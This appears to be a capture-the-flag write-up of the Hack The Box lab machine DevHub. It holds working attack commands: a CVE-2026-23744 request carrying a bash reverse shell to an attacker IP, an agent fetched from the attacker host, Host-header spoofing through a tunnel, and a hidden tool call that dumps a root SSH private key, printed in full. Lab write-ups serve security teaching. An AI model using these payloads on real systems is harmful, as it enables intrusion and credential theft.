↓ Skip to main content
HTB: DevHub
  1. Posts/

HTB: DevHub

Table of Contents

Introduction
#

A medium Linux box that is a chain of exposed internal services. The front door is an MCPJam Inspector instance with a CVE-2026-23744 RCE, which drops me in as mcp-dev. From there it’s all pivoting: tunnel into a loopback-only Jupyter with ligolo, fight through a Host-header check, and use a notebook for analyst account and the user flag. Root is simple an internal “ops” MCP server with a hidden tool that dumps /root/.ssh/id_rsa to anyone with the API key, which is sitting plaintext in a script.

Recon
#

nmap
#

nmap finds two of TCP ports:

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.245.216
  • sC for defaults scripts
  • sV enumerate version
  • vv double verbose
  • oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:78:2e:79:0d:87:13:05:2f:53:8e:e7:3c:55:b6:4c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPWeIVAL8xAfqZkJzRocGOpKCgXQk807PgJQqBcvDCiTcyFYlXvFY0v+sI1XXnYKghVRDkCxYy23sjlFMceuifE=
|   256 dd:56:8e:bc:da:b8:38:3e:9a:cd:0b:74:ee:53:85:f8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAWDVyu6UXTR8XbXiFXOJx0xwUVCRheT9hT20o1VbEht
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://devhub.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add devhub.htb to /etc/hosts

Web - TCP 80
#

Looking at the website there is not much going on, it is a Internal Development & Analytics Platform with no interactive features:

web1

There is one hint:

web2

Supposed open port 6274 that was not found by the initial nmap scan.

Subsequent scan confirms this port:

└─$ nmap -sC -sV -p 6274 10.129.245.216 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-10-09 02:38 EDT
Nmap scan report for devhub.htb (10.129.245.216)
Host is up (0.017s latency).

PORT     STATE SERVICE VERSION
6274/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 200 OK
|     access-control-allow-credentials: true
|     content-length: 466
|     content-type: text/html; charset=utf-8
|     vary: Origin
|     Date: Fri, 09 Oct 2026 06:38:56 GMT
|     Connection: close
|     <!doctype html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <link rel="icon" type="image/svg+xml" href="/mcp_jam.svg" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0" />
|     <title>MCPJam Inspector</title>
|     <script type="module" crossorigin src="/assets/index-DRYhT9Xb.js"></script>
|     <link rel="stylesheet" crossorigin href="/assets/index-XvFRNbCs.css">
|     </head>
|     <body>
|     <div id="root"></div>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 204 No Content
|     access-control-allow-credentials: true
|     access-control-allow-methods: GET,HEAD,PUT,POST,DELETE,PATCH
|     vary: Origin
|     content-type: text/plain; charset=UTF-8
|     Date: Fri, 09 Oct 2026 06:38:56 GMT
|_    Connection: close

and there is MCPJam running:

web3

From settings I can get a version: 1.4.2

web4

CVE-2026-23744
#

Conveniently placed link to GitHub repo leads me directly to the next step. In the Security tab there is Critical level vulnerability REC in MCPJam inspector due to HTTP Endpoint exposes known as CVE-2026-23744

MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request. Version 1.4.3 contains a patch.

Following the PoC example from the Advisory I send a POST request:

└─$ curl -v -X POST 'http://devhub.htb:6274/api/mcp/connect' -H 'Content-Type: application/json' -d '{"serverConfig":{"command":"/bin/bash","args":["-c","/bin/bash -i >& /dev/tcp/10.10.15.23/4444 0>&1"],"env":{}},"serverId":"rce_test"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
* Host devhub.htb:6274 was resolved.
* IPv6: (none)
* IPv4: 10.129.245.216
*   Trying 10.129.245.216:6274...
* Connected to devhub.htb (10.129.245.216) port 6274
* using HTTP/1.x
> POST /api/mcp/connect HTTP/1.1
> Host: devhub.htb:6274
> User-Agent: curl/8.14.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 134
> 
* upload completely sent off: 134 bytes

And caught a shell on an awaiting listener:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.23] from (UNKNOWN) [10.129.245.216] 49976
bash: cannot set terminal process group (1098): Inappropriate ioctl for device
bash: no job control in this shell
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$

Pivoting to Internal Services
#

As I know from the homepage, there should be an Analytics Dashboard running at localhost:8888:

web5

And there is, also there is something new on localhost:5000

mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ ss -tulnp

Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess           
udp   UNCONN 0      0      127.0.0.53%lo:53        0.0.0.0:*                     
udp   UNCONN 0      0            0.0.0.0:68        0.0.0.0:*                     
tcp   LISTEN 0      128          0.0.0.0:22        0.0.0.0:*                     
tcp   LISTEN 0      128        127.0.0.1:8888      0.0.0.0:*                     
tcp   LISTEN 0      511          0.0.0.0:80        0.0.0.0:*                     
tcp   LISTEN 0      4096   127.0.0.53%lo:53        0.0.0.0:*                     
tcp   LISTEN 0      511          0.0.0.0:6274      0.0.0.0:*    users:(("node-MainThread",pid=1341,fd=29))
tcp   LISTEN 0      128        127.0.0.1:5000      0.0.0.0:*                     
tcp   LISTEN 0      128             [::]:22           [::]:* 
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -i http://localhost:5000
  
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   150  100   150    0     0  52083      0 --:--:-- --:--:-- --:--:-- 75000
HTTP/1.1 200 OK
Server: Werkzeug/3.1.6 Python/3.10.12
Date: Fri, 09 Oct 2026 08:07:29 GMT
Content-Type: application/json
Content-Length: 150
Connection: close

{"auth":"Required - X-API-Key header","endpoints":["/tools/list","/tools/call","/health"],"server":"OPSMCP","status":"operational","version":"2.1.0"}

I get stopped by "auth":"Required - X-API-Key header", dead end for now.

Checking processes related to the jupyter dashboard I discover this:

mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ ps aux | grep jupyter
     
analyst     1097  0.0  2.4 182536 96324 ?        Ss   06:26   0:05 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False
root        1102  0.0  0.7 111108 28996 ?        Ss   06:26   0:01 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
mcp-dev     1655  0.0  0.0   3472  1512 ?        S    08:12   0:00 grep --color=auto jupyter

A token, that I should be able to use for login:

mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -i http://localhost:8888/lab
<mcpjam/inspector$ curl -i http://localhost:8888/lab       
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
HTTP/1.1 302 Found
Server: TornadoServer/6.5.4
Content-Type: text/html; charset=UTF-8
Date: Fri, 09 Oct 2026 08:20:25 GMT
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-ancestors 'self'; report-uri /api/security/csp-report
Location: /login?next=%2Flab
Content-Length: 0
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -i http://localhost:8888/lab?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
</lab?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7       
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0HTTP/1.1 200 OK
Server: TornadoServer/6.5.4
Content-Type: text/html; charset=UTF-8
Date: Fri, 09 Oct 2026 08:20:58 GMT
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-ancestors 'self'; report-uri /api/security/csp-report
Access-Control-Allow-Origin: 
Etag: "371ff6a6944f2f67bb991021c1f44a77d9d1de96"
Content-Length: 4592
Set-Cookie: username-localhost-8888="2|1:0|10:1791534058|23:username-localhost-8888|200:eyJ1c2VybmFtZSI6ICI5MmZkMTk5NjA4MTQ0MzczODhkZmEwMzUzMGJjYjk5ZiIsICJuYW1lIjogIkFub255bW91cyBBbWFsdGhlYSIsICJkaXNwbGF5X25hbWUiOiAiQW5vbnltb3VzIEFtYWx0aGVhIiwgImluaXRpYWxzIjogIkFBIiwgImNvbG9yIjogbnVsbH0=|1c5f24d26240ea30c8999aec25683690671992ded44e1fb5290c5f01172b4986"; expires=Sun, 08 Nov 2026 08:20:58 GMT; HttpOnly; Path=/
Set-Cookie: _xsrf=2|66058a60|c3ff2619667261d8728bf870dbc7ff61|1791534058; expires=Sun, 08 Nov 2026 08:20:58 GMT; Path=/

<!doctype html><html lang="en"><head><meta charset="utf-8">

<SNIP>

It worked, now I need to truly look at what I have, for that I need to set up ligolo.

Ligolo port-forward
#

The Jupyter instance is listening on localhost only:

analyst     1097  0.0  2.4 182536 96324 ?        Ss   06:26   0:05 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False

Since it’s --ip=127.0.0.1, http://10.129.245.216:8888 from outside just refuses, nothing listens on eth0. I need a tunnel that lands on the agent’s loopback.

Setup
#

Transfer agent to the host:

mcp-dev@devhub:~$ wget http://10.10.15.23:8082/linux_agent

--2026-10-09 08:25:49--  http://10.10.15.23:8082/linux_agent
Connecting to 10.10.15.23:8082... connected.
HTTP request sent, awaiting response... 200 OK

Proxy on my machine:

└─$ ./linux_proxy -selfcert -laddr 0.0.0.0:9001

Agent on the target:

./linux_agent -connect 10.10.15.23:9001 -ignore-cert

Agent joins, then in the ligolo console pick the session and start the tunnel:

ligolo-ng » INFO[0150] Agent joined.                                 id=a2dead151d0d name=mcp-dev@devhub remote="10.129.245.216:37840"

Routing to the agent’s loopback
#

Normally I would route the target subnet through ligolo. That fails here because the HTB VPN already owns it:

└─$ sudo ip route add 10.129.0.0/16 dev ligolo
# RTNETLINK answers: File exists

But I want only the box’s loopback. Ligolo maps the magic address 240.0.0.1 to the agent’s 127.0.0.1.

Route just that single host, so there is no collision with the VPN’s /16:

└─$ sudo ip route add 240.0.0.1/32 dev ligolo
└─$ sudo ip link set ligolo up 
└─$ ip route | grep ligolo 
240.0.0.1 dev ligolo scope link

All should be set up.

[Agent : mcp-dev@devhub] » start
INFO[0043] Starting tunnel to mcp-dev@devhub (a2dead151d0d) 

Gotcha
#

Routing works now but the service answers 403:

└─$ curl -i "http://240.0.0.1:8888/lab?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" 
# HTTP/1.1 403 Forbidden

Same token that returned 200 on the box. The issue isn’t the token, as I originally thought it expired, it’s the Jupyter’s Host-header check. Jupyter only trusts requests whose Host looks local. On a loopback bind (--ip=127.0.0.1) allow_remote_access defaults to off, so anything that doesn’t resolve to a known local hostname gets a flat 403 before the token is considered.

Reaching it through 240.0.0.1 means the request carries Host: 240.0.0.1:8888, so it’s rejected even with a valid token.

On the box itself the Host was localhost:8888, which is exactly why the identical request worked there.

To fix that I need to make the request look like it came from localhost.

Spoof the Host header:

curl -i -H "Host: localhost:8888" "http://240.0.0.1:8888/lab?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
# HTTP/1.1 200 OK

Browser access is a little more complicated, I can’t easily spoof Host there, so I present the service as genuine localhost with a local relay.

└─$ socat TCP-LISTEN:8888,fork,reuseaddr TCP:240.0.0.1:8888

Now the browser connects to my own localhost:8888, so it sends Host: localhost:8888, Jupyter accepts it, and socat forwards it over the tunnel to the agent’s loopback and I can see the website:

web6

User Flag
#

Ok, I am in, now I just need to create new Notebook, paste a reverse shell there and run it:

web7

The code executes and I get a shell on my listener:

└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.15.23] from (UNKNOWN) [10.129.245.216] 56228
bash: cannot set terminal process group (1805): Inappropriate ioctl for device
bash: no job control in this shell
analyst@devhub:~/notebooks$ id
id
uid=1002(analyst) gid=1002(analyst) groups=1002(analyst)
analyst@devhub:~/notebooks$ cat /home/analyst/user.txt
cat /home/analyst/user.txt
5046febdb95286d77b95f87d5fc5a3e1

Root
#

as analyst I have access to the /opt/opsmcp/server.py I could not read earlier as mcp-dev:

analyst@devhub:~$ cat /opt/opsmcp/server.py

#!/usr/bin/env python3
"""
OPSMCP - Operations MCP Server
Internal tool for system operations management
"""

from flask import Flask, jsonify, request
import os

app = Flask(__name__)

# API Key for authentication
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

# Registered tools (visible)
VISIBLE_TOOLS = {
    "ops.system_status": {
        "description": "Get system status and health metrics",
        "parameters": {}
    },
    "ops.list_services": {
        "description": "List running services",
        "parameters": {}
    },
    "ops.check_disk": {
        "description": "Check disk usage",
        "parameters": {}
    },
    "ops.view_logs": {
        "description": "View recent system logs",
        "parameters": {"service": "string"}
    }
}

# Hidden tools (not in /tools/list but callable)
HIDDEN_TOOLS = {
    "ops._admin_dump": {
        "description": "Emergency credential dump - INTERNAL ONLY",
        "parameters": {"target": "string", "confirm": "boolean"}
    },
    "ops._debug_mode": {
        "description": "Enable debug mode",
        "parameters": {}
    }
}

ALL_TOOLS = {**VISIBLE_TOOLS, **HIDDEN_TOOLS}

def check_auth():
    """Check API key authentication"""
    api_key = request.headers.get('X-API-Key', '')
    return api_key == VALID_API_KEY

@app.route('/')
def index():
    return jsonify({
        "server": "OPSMCP",
        "version": "2.1.0",
        "status": "operational",
        "endpoints": ["/tools/list", "/tools/call", "/health"],
        "auth": "Required - X-API-Key header"
    })

@app.route('/health')
def health():
    return jsonify({"status": "healthy", "uptime": "14d 3h 22m"})

@app.route('/tools/list')
def list_tools():
    if not check_auth():
        return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401
    
    return jsonify({
        "tools": list(VISIBLE_TOOLS.keys()),
        "count": len(VISIBLE_TOOLS),
        "details": VISIBLE_TOOLS
    })

@app.route('/tools/call', methods=['POST'])
def call_tool():
    if not check_auth():
        return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401
    
    data = request.get_json() or {}
    tool_name = data.get('name', '')
    args = data.get('arguments', {})
    
    if not tool_name:
        return jsonify({"error": "Tool name required"}), 400
    
    if tool_name not in ALL_TOOLS:
        return jsonify({"error": f"Unknown tool: {tool_name}"}), 404
    
    # Execute tool
    if tool_name == "ops.system_status":
        return jsonify({
            "cpu": "23%",
            "memory": "1.2GB/4GB",
            "load": "0.45",
            "status": "nominal"
        })
    
    elif tool_name == "ops.list_services":
        return jsonify({
            "services": [
                {"name": "nginx", "status": "running", "pid": 1234},
                {"name": "opsmcp", "status": "running", "pid": 5678},
                {"name": "jupyter", "status": "running", "pid": 9012},
                {"name": "mcpjam", "status": "running", "pid": 3456}
            ]
        })
    
    elif tool_name == "ops.check_disk":
        return jsonify({
            "filesystems": [
                {"mount": "/", "used": "4.2G", "available": "15G", "percent": "22%"},
                {"mount": "/home", "used": "1.1G", "available": "8G", "percent": "12%"}
            ]
        })
    
    elif tool_name == "ops.view_logs":
        service = args.get('service', 'system')
        return jsonify({
            "service": service,
            "logs": [
                "[2026-01-22 10:00:01] Service started",
                "[2026-01-22 10:00:02] Listening on configured port",
                "[2026-01-22 10:15:33] Health check passed",
                "[2026-01-22 11:00:00] Routine maintenance completed"
            ]
        })
    
    elif tool_name == "ops._debug_mode":
        return jsonify({
            "debug": True,
            "message": "Debug mode enabled",
            "hidden_tools": list(HIDDEN_TOOLS.keys()),
            "note": "Debug endpoints now accessible"
        })
    
    elif tool_name == "ops._admin_dump":
        target = args.get('target', '')
        confirm = args.get('confirm', False)
        
        if not confirm:
            return jsonify({
                "error": "Confirmation required",
                "usage": "Set confirm=true to proceed",
                "warning": "This dumps sensitive credentials"
            })
        
        if target == "ssh_keys":
            try:
                with open('/root/.ssh/id_rsa', 'r') as f:
                    key_data = f.read()
                return jsonify({
                    "target": "ssh_keys",
                    "root_private_key": key_data,
                    "note": "Emergency recovery key dump"
                })
            except Exception as e:
                return jsonify({
                    "target": "ssh_keys",
                    "error": f"Could not read key: {str(e)}"
                })
        
        elif target == "passwords":
            return jsonify({
                "target": "passwords",
                "dump": {
                    "root": "$6$rounds=656000$saltsalt$hashedpassword",
                    "analyst": "JupyterN0tebook!2026",
                    "mcp-dev": "Mcp!Insp3ct0r2026"
                }
            })
        
        elif target == "tokens":
            return jsonify({
                "target": "tokens",
                "api_tokens": {
                    "admin_token": "opsmcp_admin_7f3b9c2d1e4f5a6b",
                    "service_token": "opsmcp_svc_8c9d0e1f2a3b4c5d"
                }
            })
        
        else:
            return jsonify({
                "error": "Invalid target",
                "valid_targets": ["ssh_keys", "passwords", "tokens"]
            })
    
    return jsonify({"error": "Tool execution failed"}), 500

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

And there is everything in there, API key: opsmcp_secret_key_4f5a6b7c8d9e0f1a, and tools like ops._admin_dump that will print me /root/.ssh/id_rsa if I specify target == "ssh_keys".

Truly an easy path to root.

analyst@devhub:~$ curl localhost:5000
curl localhost:5000
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   150  100   150    0     0  53667      0 --:--:-- --:--:-- --:--:-- 75000
{"auth":"Required - X-API-Key header","endpoints":["/tools/list","/tools/call","/health"],"server":"OPSMCP","status":"operational","version":"2.1.0"}

I send the request with the discovered API key and the ops._admin_dump and I get an SSH key for root:

analyst@devhub:~$ curl -s -X POST 'http://localhost:5000/tools/call' -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' -H "Content-Type: application/json" -d '{"name": "ops._admin_dump", "arguments": {"confirm": true, "target": "ssh_keys"}}'

{"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STypOUH9\nG/jqltqP312IONAX9LwvTne81E4h+hi2xdjwgvh27iE4AvCQolR8S0GWHwHQjjXVQ5/dHX\n8MA96Qabow623zQe5D6PUAsFj6aWP5fDceIziAxkLIMgpsE6I0bWOKaGmgEG0rW1I/mw8z\n6HmooVORQsQoTaVUhnUmRJRcLpQEu94hzb+0kQ0ObKikcDTnit1kQ/7ZUOoyGhUgEwVk/n\nGhm2D96OW/JLpMIowwDxnka+3l9u5Aj55Y9fWN9aGld5pVvcoPRZ7twODIbXNSjzWsLQRQ\n7l8/a2M+aQAAA8BGnYWeRp2FngAAAAdzc2gtcnNhAAABAQDBYfDgi/zIPDKo5pw7m4HY4W\nv9FoPVMXX3am2Ale7S+PlJPKk5Qf0b+OqW2o/fXYg40Bf0vC9Od7zUTiH6GLbF2PCC+Hbu\nITgC8JCiVHxLQZYfAdCONdVDn90dfwwD3pBpujDrbfNB7kPo9QCwWPppY/l8Nx4jOIDGQs\ngyCmwTojRtY4poaaAQbStbUj+bDzPoeaihU5FCxChNpVSGdSZElFwulAS73iHNv7SRDQ5s\nqKRwNOeK3WRD/tlQ6jIaFSATBWT+caGbYP3o5b8kukwijDAPGeRr7eX27kCPnlj19Y31oa\nV3mlW9yg9Fnu3A4Mhtc1KPNawtBFDuXz9rYz5pAAAAAwEAAQAAAQAjgZkZkXpjRXJDwrvS\n0fWgXZtXR8gC3+b5+4eJgX3tLJuQz9t+UNhpR2XDNvQNnf3B+Ks9W0QQUznPfV0Nr3X3k6\nJtWbN0e5LuLz9PHtYHd05Z+RpS0h2LIhIWNVp+Z2H6l54dy/1LELVVU47B0kSAD0Qig3g8\nHUa/oEljrrgzTlYflRHhkHQblmd9ZaClUoxIDh0zf2Esmp3nIRBm4J1OX5UQPiPEa7/LkB\ndcQr1K4Z1pbZglc5wPUJZCv8MtVPvW9rCgERl9Sl4bKevsgS4mMMUvVxNdqyasYqNAXi/L\nCvk9YYP9PS4q1dfCYMIvsJJNyoBtUiCJwqW2ba6hs1vVAAAAgDEPkj6UOdX1B872cHrja2\nnkahzlja7GZw3G2+hsib4kH/G1nwQs9RRtnzqf/mrXeEhxB27ZN+QE39e7yTC3r6f84mSn\nMz/gS3Czh6DtP+S18jV4xCeac/SoLuxgLvPZ3xnHWvPO6HePQzyVlVk/MBfp+yPrCpIiHK\nMtVMaeJXFYAAAAgQDSlTQAPhkFhsswOcohRO+1hd/4xdD9UECem1ytsb5/on47/GEWvtQI\noocmAAMvEYlOvs8GXeYkMBAwi5VCjLunNBCmuRMjTEgE7lqgdhfkK0Lx/a4BWnYaki+xbk\nJt9XB5f2NlmnT4A5QqiO+qPYA2i1iF9CSv5ypxqHFChgMZNwAAAIEA6xcR6lBjwgtKuzRQ\nnI+f8DFRxcdfKY1gs0BmfS0RRxwDzIEwJHYafyHnq/CKBTDPCYyn/VI+mF64hhtjUbDgAr\nC8X6q/4LJecp3piSHgv6yXhpzkxtz+Q/JSXPFf/9NAgVFQtUjrrnGZbP9kNySaX6q6/npK\nlFORwv9PYfxftV8AAAALcm9vdEBkZXZodWI=\n-----END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"}

The last step is to simply update the output: the key is one long line full of literal \n characters instead of actual newlines.

OpenSSH keys are strictly formatted, the header, the base64 body wrapped at 70 chars, and the footer all have to be on their own real lines.

To fix this simply convert the literal \n back into actual newlines:

└─$ nano ssh_key
└─$ printf '%b' "$(cat ssh_key)" > ssh_key_fixed
└─$ chmod 600 ssh_key_fixed

With that done just grab the root flag!

└─$ ssh -i ssh_key_fixed root@10.129.245.216   
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-179-generic x86_64)

<SNIP>

root@devhub:~# cat root.txt
6005e5c0bb760340801bb5e0c1955fe5
Author
~